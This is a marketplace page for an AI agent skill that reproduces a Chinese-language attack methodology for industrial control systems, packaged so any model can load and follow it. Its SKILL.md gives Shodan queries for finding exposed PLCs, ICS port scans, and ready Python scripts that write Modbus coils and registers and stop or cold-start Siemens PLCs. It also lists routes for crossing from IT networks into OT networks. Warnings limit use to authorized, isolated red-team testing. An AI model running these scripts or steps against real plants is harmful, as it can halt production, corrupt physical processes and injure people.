Ot Ics Attack logo

Ot Ics Attack

OrganizationPopular
wgpsec
ot-ics-attack

OT/ICS 工控系统攻击方法论。当目标涉及 SCADA/DCS/PLC 系统、发现 Modbus/DNP3/OPC UA/EtherNet-IP 等工控协议、或需要评估关键基础设施安全时使用。覆盖工控协议利用、PLC 攻击、HMI 渗透、IT/OT 边界突破

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameot-ics-attack
Stars
1.8K
Forks
247
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Ot Ics Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/advanced/ot-ics-attack
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/advanced/ot-ics-attack .claude/skills/ot-ics-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Ot Ics Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Ot Ics Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Ot Ics Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

OT/ICS 工控系统攻击方法论

⛔ 安全警告:OT 系统控制物理过程,错误操作可能导致设备损坏、环境灾难或人身伤害。仅在明确授权和安全隔离环境下测试!

⛔ 深入参考


Phase 0: OT 环境理解

Purdue 模型(网络分层)

Level 5: Enterprise Network (IT)
Level 4: Business Planning (ERP/MES)
━━━━━━━━━━━ DMZ / IT-OT 边界 ━━━━━━━━━━━
Level 3: Site Operations (Historian/SCADA Server)
Level 2: Area Control (HMI/Engineering WS)
Level 1: Basic Control (PLC/RTU/DCS)
Level 0: Physical Process (传感器/执行器)

攻击路径通常: Level 5 → 4 → DMZ → 3 → 2 → 1 → 0
关键突破点: IT/OT 边界(DMZ 配置错误)

常见工控协议

协议端口认证用途
Modbus TCP502⛔ 无PLC 读写寄存器
DNP320000可选电力 SCADA
OPC UA4840有数据访问
EtherNet/IP44818⛔ 无Rockwell PLC
S7comm102⛔ 无Siemens PLC
BACnet47808⛔ 无楼宇自控
FINS9600⛔ 无Omron PLC

Phase 1: 信息收集(被动优先)

bash
# Shodan 搜索暴露的 ICS 设备
shodan search "port:502 product:Modbus"
shodan search "port:102 product:S7"
shodan search "port:44818 product:EtherNet/IP"
shodan search "port:47808 product:BACnet"

# 目标网络扫描(⛔ 仅在授权后,使用低速率)
nmap -sT -Pn -p 102,502,4840,20000,44818,47808 --scan-delay 500ms TARGET_RANGE

# 被动流量分析(如果有镜像端口)
tcpdump -i eth0 -w ics_traffic.pcap port 502 or port 102 or port 44818

# Wireshark 工控协议解析
# 内置支持: Modbus, DNP3, OPC UA, S7comm, EtherNet/IP

Phase 2: 工控协议利用

2.1 Modbus TCP(无认证!)

python
#!/usr/bin/env python3
"""Modbus TCP 读写操作 — 无需认证"""
from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('TARGET_IP', port=502)
client.connect()

# 读取保持寄存器(获取当前值/配置)
result = client.read_holding_registers(address=0, count=10, slave=1)
print(f"Registers: {result.registers}")

# 读取线圈状态(数字输出状态)
result = client.read_coils(address=0, count=10, slave=1)
print(f"Coils: {result.bits}")

# ⛔ 写入操作(改变物理过程!仅在安全环境)
# 写单个寄存器
client.write_register(address=0, value=100, slave=1)

# 写单个线圈(开关控制)
client.write_coil(address=0, value=True, slave=1)  # 开
client.write_coil(address=0, value=False, slave=1) # 关

client.close()

2.2 Siemens S7comm

python
#!/usr/bin/env python3
"""S7comm 协议交互 — Siemens S7-300/400/1200/1500"""
import snap7

# 连接 PLC
plc = snap7.client.Client()
plc.connect('TARGET_IP', rack=0, slot=1)  # S7-300: slot=2

# 读取 PLC 信息
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName}")
print(f"Serial: {info.SerialNumber}")

# 读取数据块 (DB)
data = plc.db_read(db_number=1, start=0, size=100)
print(f"DB1 data: {data.hex()}")

# 读取输入/输出
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 10)   # 输入
outputs = plc.read_area(snap7.types.Areas.PA, 0, 0, 10)  # 输出

# ⛔ 危险操作(仅安全环境)
# 停止 PLC
plc.plc_stop()
# 启动 PLC
plc.plc_cold_start()

plc.disconnect()

2.3 EtherNet/IP (Rockwell/Allen-Bradley)

python
#!/usr/bin/env python3
"""EtherNet/IP CIP 协议 — 无认证"""
from pycomm3 import LogixDriver

with LogixDriver('TARGET_IP') as plc:
    # 读取标签值
    result = plc.read('MyTag')
    print(f"Tag value: {result.value}")

    # 读取多个标签
    results = plc.read('Tag1', 'Tag2', 'Tag3')
    for r in results:
        print(f"{r.tag}: {r.value}")

    # 获取 PLC 信息
    info = plc.get_plc_info()
    print(f"Product: {info['product_name']}")

    # 列出所有标签(信息收集)
    tags = plc.get_tag_list()
    for tag in tags:
        print(f"  {tag['tag_name']}: {tag['data_type_name']}")

    # ⛔ 写入
    # plc.write('MotorSpeed', 1000)

Phase 3: HMI/SCADA 服务器攻击

HMI/SCADA 常见漏洞:
├─ 默认凭据(admin/admin, administrator/空)
├─ 未加密通信(Modbus/OPC DA 明文)
├─ Web HMI SQL注入/XSS
├─ VNC 无密码暴露
├─ RDP 弱口令(Level 2/3 工作站)
├─ 过时操作系统(Windows XP/7/2008 仍在用)
└─ 未更新的 SCADA 软件(已知 CVE)

常见 SCADA 软件:
├─ Siemens WinCC → CVE 众多
├─ GE iFix / CIMPLICITY
├─ Schneider ClearSCADA
├─ Wonderware InTouch
├─ Ignition (Inductive Automation)
└─ Kepware KEPServerEX (OPC)

Phase 4: IT/OT 边界突破

从 IT 网络进入 OT:
├─ 跳板: Historian 服务器(同时连接 IT 和 OT)
├─ 双网卡工作站(Level 3 操作员电脑)
├─ VPN/远程访问通道(TeamViewer/AnyDesk 在 HMI 上)
├─ 共享文件服务器(IT/OT 共享)
├─ 数据库服务器(MES/ERP 连接到 OT)
└─ 防火墙规则宽松(OT→IT 无限制回连)

Phase 5: 攻击影响评估

⛔ OT 攻击的潜在物理影响:
├─ 改变 PLC 逻辑 → 物理过程失控
├─ 修改 HMI 显示 → 操作员看到假数据(Stuxnet 手法)
├─ 停止 PLC → 生产停摆
├─ 修改安全限值 → 越过安全阈值
└─ 同时攻击 SIS(安全仪表系统) + PLC → 最危险

红队测试中的安全约束:
├─ ⛔ NEVER 修改 SIS (Safety Instrumented System)
├─ ⛔ NEVER 在生产系统上测试写入操作
├─ ✓ 仅读取操作验证可达性
├─ ✓ 在独立测试环境中验证写入
└─ ✓ 随时与运维团队保持通信

工具速查

工具用途
pymodbusModbus TCP 客户端
python-snap7Siemens S7 通信
pycomm3EtherNet/IP CIP
Wireshark + ICS dissectors协议分析
PLCScanPLC 枚举
ISF (Industrial Exploitation Framework)ICS 利用框架
GRASSMARLINOT 网络拓扑发现
Shodan/Censys暴露面发现

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Ot Ics Attack AI skill do?

OT/ICS 工控系统攻击方法论。当目标涉及 SCADA/DCS/PLC 系统、发现 Modbus/DNP3/OPC UA/EtherNet-IP 等工控协议、或需要评估关键基础设施安全时使用。覆盖工控协议利用、PLC 攻击、HMI 渗透、IT/OT 边界突破

Why use Ot Ics Attack on TypingMind?

Because you install it once and use it with any model. Ot Ics Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Ot Ics Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/advanced/ot-ics-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Ot Ics Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Ot Ics Attack?

As many as you like. As long as a model supports skills, you can use Ot Ics Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Ot Ics Attack AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇